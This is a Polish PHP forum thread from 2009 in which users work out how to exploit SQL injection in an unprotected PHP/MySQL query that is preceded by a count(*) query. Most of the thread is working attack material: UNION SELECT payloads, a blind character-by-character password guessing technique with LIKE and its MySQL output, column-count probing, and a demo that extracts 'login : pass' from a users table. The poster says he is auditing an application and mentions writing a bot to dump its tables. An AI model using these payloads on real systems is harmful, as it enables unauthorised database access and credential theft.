Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: sqlinjection z union
Forum PHP.pl > Forum > Bazy danych > MySQL
nospor
Pytanie teoretyczne:
czy jest możliwość wstawienia zapytania z union, do następującej teoretycznej sytuacji:

skrypt niezabezpieczony w zaden sposob przed sqlinjection, mozna wkladac co nam się chce.

wykonywane zapytanie:
  1. SELECT cos, cos2, cos3 FROM tabela WHERE pole = 'cosZforma';

gdzie cosZforma to dana, która moze w formularzu dowolnie modyfikowac.

Chcac wstawic uniona, wystarczy wiec za cosZforma wstawic:
' union select c1,c2,c3 from innatabela where '1=1
w rezulatacie otrzymamy poprawne zapytanie z union
  1. SELECT cos, cos2, cos3 FROM tabela WHERE pole = '' UNION SELECT c1,c2,c3 FROM innatabela WHERE '1=1';


pojawia sie jednak problem, gdyz nasze glowne zapytanie poprzedzane jest zapytaniem zliczającym, czyli
  1. SELECT count(*) FROM tabela WHERE pole = 'cosZforma';

w rezulatacie po wstawieniu naszej zmiennej otrzymamy
  1. SELECT count(*) FROM tabela WHERE pole = '' UNION SELECT c1,c2,c3 FROM innatabela WHERE '1=1';

Co wywali nam zapytanie, gdyz union dostarczy nam inną liczbę kolumn.
Skrypt dalej sie nie wykona, bo zapytanie z count(*) zwraca nam false i nie jedziemy dalej.

Czy istnieje jakies ominiecie tego? By w jednym ciągu zawrzec zarówna jedną kolumne i kilka kolumn? Tak by przeszlo zarowno przez zapytanie z count() jak i drugie pobierające dane?

ps: nie chce nikogo hackowac. Interesuje mnie, czy jest to możliwe.
pyro
Hmmm... nie wiem jak z UNION'em ale wydaje mi się ze w ten sposob się nie da... za to można zrobić inne ciekawe sztuczki w ten sposób... smile.gif pozwól że za chwilę zupdatuje posta z małym przykładem.

// EDIT

  1. mysql> CREATE TABLE users(id int NOT NULL AUTO_INCREMENT PRIMARY KEY, login char
  2. (10), pass char(10));
  3. Query OK, 0 rows affected (0.09 sec)
  4.  
  5. mysql> INSERT INTO users VALUES(NULL, 'wujek', 'crimson');
  6. Query OK, 1 row affected (0.05 sec)
  7.  
  8. mysql> INSERT INTO users VALUES(NULL, 'ciocia', 'pirate');
  9. Query OK, 1 row affected (0.00 sec)
  10.  
  11. mysql> INSERT INTO users VALUES(NULL, 'synek', 'passik');
  12. Query OK, 1 row affected (0.01 sec)
  13.  
  14. mysql> CREATE TABLE articles(article_id int NOT NULL AUTO_INCREMENT PRIMARY KEY,
  15. article_body longtext);
  16. Query OK, 0 rows affected (0.02 sec)
  17.  
  18. mysql> INSERT INTO articles SET article_id=NULL, article_body='To jest przyklado
  19. wy artykul';
  20. Query OK, 1 row affected (0.08 sec)
  21.  
  22. mysql> SELECT * FROM articles;
  23. +------------+-----------------------------+
  24. | article_id | article_body |
  25. +------------+-----------------------------+
  26. | 1 | TO jest przykladowy artykul |
  27. +------------+-----------------------------+
  28. 1 row IN SET (0.00 sec)
  29.  
  30. mysql> SELECT count(*) FROM articles WHERE article_id = '' OR (SELECT login FROM users WHERE login = 'wujek' AND pass LIKE 'c%') = 'wujek';
  31. +----------+
  32. | count(*) |
  33. +----------+
  34. | 1 |
  35. +----------+
  36. 1 row IN SET (0.00 sec)
  37.  
  38. mysql> SELECT count(*) FROM articles WHERE article_id = '' OR (SELECT login FROM users WHERE login = 'wujek' AND pass LIKE 'ca%') = 'wujek';
  39. +----------+
  40. | count(*) |
  41. +----------+
  42. | 0 |
  43. +----------+
  44. 1 row IN SET (0.00 sec)
  45.  
  46. mysql> SELECT count(*) FROM articles WHERE article_id = '' OR (SELECT login FROM users WHERE login = 'wujek' AND pass LIKE 'cw%') = 'wujek';
  47. +----------+
  48. | count(*) |
  49. +----------+
  50. | 0 |
  51. +----------+
  52. 1 row IN SET (0.00 sec)
  53.  
  54. mysql> SELECT count(*) FROM articles WHERE article_id = '' OR (SELECT login FROM users WHERE login = 'wujek' AND pass LIKE 'cr%') = 'wujek';
  55. +----------+
  56. | count(*) |
  57. +----------+
  58. | 1 |
  59. +----------+
  60. 1 row IN SET (0.00 sec)
  61.  
  62. mysql> # I tak dalej mozna odgadnac haslo konkretnego/niekonkretnego usera z zupelnie innej tabeli :)
  63. mysql>
nospor
ok smile.gif
Chodzi mi głównie, czy moge w ten sposob pobrac dane z innej tabeli.
BaN
Można spróbować zastosować jakąś funkcję np. CONCAT(), też zwróci jeden wynik
nospor
@BaN tak, ale wowczas zapytanie wylozy sie na drugim etapie (normalny select) - wowczas tam nie bedzie sie zgadzala liczba kolumn
pyro
Cytat(nospor @ 16.02.2009, 18:25:39 ) *
tak, ale wowczas zapytanie wylozy sie na drugim etapie (normalny select) - wowczas tam nie bedzie sie zgadzala liczba kolumn

A zajrzałeś do mojego postu?

// edit

aaa sorry, nie zauwazylem roznic czasowych, pobierac z innych mozna, wsytarczy spojrzec na moj ostatni post.
nospor
@pyro o tym, ze w ten sposob mozna pobrac to wiem smile.gif
Chodzilo mi o przyspieszenie tego etapu i dlatego chciałem dodać union. Gdyby nie te count() to bez problemu bym pobral, ale count() mnie zalatwia - dlatego zastanawiam sie czy mozna jakies uniwersalne zapytanie przy uzyciu np. IF napisac
pyro
Cytat(nospor @ 16.02.2009, 18:35:25 ) *
@pyro o tym, ze w ten sposob mozna pobrac to wiem smile.gif
Chodzilo mi o przyspieszenie tego etapu i dlatego chciałem dodać union. Gdyby nie te count() to bez problemu bym pobral, ale count() mnie zalatwia - dlatego zastanawiam sie czy mozna jakies uniwersalne zapytanie przy uzyciu np. IF napisac

no raczej by się to sprowadzało do tego samego... Poza tym w ten sposób  możesz wyciągnąć dowolne dane w szybki sposob, wystarczy bot na kilkanascie,dziesiąt linijek i automatycznie bedzie dane podstawiał tongue.gif
BaN
Raczej się nie wyłoży, chyba, że czegoś nie rozumiem smile.gif

Załóżmy, że nazwy kolumn w tej tabeli `innatabela` to c1, c2, c3

Do pola formularza można wpisać:

Kod
' LIMIT 0 UNION SELECT CONCAT(c1, SPACE(1), c2, SPACE(1), c3) FROM innatabela LIMIT 1


Zatem zapytanie będzie następujące:
  1. SELECT count(*) FROM tabela WHERE pole = '' LIMIT 0 UNION SELECT CONCAT(c1, SPACE(1), c2, SPACE(1), c3) FROM innatabela LIMIT 1


I powinno zwrócić wartości pól c1, c2, c3 oddzielone spacjami, o ile oczywiście pola w tej tabeli tak się nazywają
nospor
Cytat
no raczej by się to sprowadzało do tego samego...
No nie, bo jakby udalo by sie spreparowac zapytanie, ktore za pierwszym razem zwroci jedną kolumne, a za drugim kilka, - to juz jestem w domu. Niestety uzycie IF na SELECT nie zdaje rezultatu

Cytat
wystarczy bot na kilkanascie,dziesiąt linijek i automatycznie bedzie dane podstawiał
To tez wiem. Ale uczepilem sie tego uniona i basta winksmiley.jpg

@BaN no tak, to dla przypadku z count(). Ale wstaw to sobie teraz do tego zapytania
  1. SELECT cos, cos2, cos3 FROM tabela WHERE pole = 'cosZforma';

Twoj union zwraca tylko jedno pole, a teraz potrzeba trzech
pyro
Jeżeli w kodzie PHP  jest to interpretowane w ten sposob:

  1. <?php
  2. $blah = mysql_fetch_row($zapytanie);
  3.  
  4.  
  5. if($blah[0] == 0)
  6. {
  7. // nie  ma artykulow ;(
  8. }
  9. else
  10. {
  11. // znaleziono x artykulow
  12. }
  13. ?>


to w takim wypadku raczej union na niewiele się zdziała, jeśli jednak w kodzie php jest to interpretowane tak: (nie ma potrzeby tak robic, ale widzialem skrypty w ktorych ludzie mimo to dają wynik do while() smile.gif )

  1. <?php
  2. while($blah = mysql_fetch_row($zapytanie))
  3. {
  4. $znalezionych = $blah[0];
  5.  
  6.  
  7.  
  8. }
  9. ?>


To w takim wypadku wystarczy dodać najzwyklejsze UNION, wtedy druga wartośc nadpisze pierwszą (tą z count), a tą drugą wartością bedą dane wyciągnięte z użycią UNION smile.gif
nospor
nie, jest tak jak pisalem:
najpierw w php jest zapytanie z count()
a potem w php jest zapytanie pobierające dane normalnym selectem.

Jesli dostosujemy union do drugiego zapytania, to wywali nam sie na pierszym.
Jak dostosujemy do pierwszego to wywali nam sie na drugim.

wywali, czyli poleci wyjatek w php i skrypt konczy dzialanie.
BaN
Cytat(nospor @ 16.02.2009, 18:43:11 ) *
Twoj union zwraca tylko jedno pole, a teraz potrzeba trzech

Zatem na początku należy wyznaczyć liczbę kolumn w pierwszym zapytaniu SELECT

Moim zdaniem można to zrobić następująco:

sprawdzamy czy jest jedno pole:
Kod
' LIMIT 0 UNION SELECT 1


sprawdzamy czy są dwa pole:
Kod
' LIMIT 0 UNION SELECT 1,2


itd.

Po znalezieniu liczby pól można chyba zastosować rozwiązanie, które proponowałem
pyro
  1. mysql> SELECT count(*) FROM articles WHERE article_id=192048 UNION SELECT concat
  2. (login,' : ',pass) FROM users WHERE login = 'wujek';
  3. +-----------------+
  4. | count(*) |
  5. +-----------------+
  6. | 0 |
  7. | wujek : crimson |
  8. +-----------------+
  9. 2 rows IN SET (0.05 sec)
  10.  
  11. mysql>


W przypadku z while() powinno zwrocic login i haslo, czyli na stronie by się pojawiło coś w stylu:

Znaleziono artykułów: wujek : crimson

Chyba że ten ostatni post nie do mnie smile.gif
nospor
Cytat
Chyba że ten ostatni post nie do mnie
No chyba nie winksmiley.jpg

@BaN chyba nadal nie rozumiesz w czym rzecz winksmiley.jpg

No dobra, zakładam więc że się nie da. Dziękuję panom za dyskusję, pozostaje więc pisac bota winksmiley.jpg
pyro
Cytat(nospor @ 17.02.2009, 09:36:24 ) *
No chyba nie winksmiley.jpg

@BaN chyba nadal nie rozumiesz w czym rzecz winksmiley.jpg

No dobra, zakładam więc że się nie da. Dziękuję panom za dyskusję, pozostaje więc pisac bota winksmiley.jpg

Lub dodać najzwyklejsze union jesli zapytanie przechodzi przez pętle...


To zabawne, że w Twoim poście czuć nutkę chęci d wykorzystania tego gdzieś tongue.gif:P
nospor
Cytat
Lub dodać najzwyklejsze union jesli zapytanie przechodzi przez pętle...
No tlumacze ci przecież, ze przechodzi przez dwa zapytania. Jak dopasujesz go do pierwszego to wylozy sie na drugim. Jak dopasujesz go do drugiego to wylozy sie na pierwszym.

mysql_query() zwraca ci blad i juz skrypt nie dochodzi do zadnych petli.

Cytat
To zabawne, że w Twoim poście czuć nutkę chęci d wykorzystania tego gdzieś
Nic z tych rzeczy. Przeprowadzam audyt aplikacji. Dziurawa jak ser szwajcarski. Bez problemu moge wydobyc każde dane z tabel, poprzez napisanie bota, o którym juz rozmawialismy. Zastanawialem sie jednak, czy w opisanej przeze mnie sytujacji mozna to zrobic szybciej i przyjemniej smile.gif
I gdyby nie to zapytanie z count() to nie bylo by problemu. Jednak ono komplikuje sprawę.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.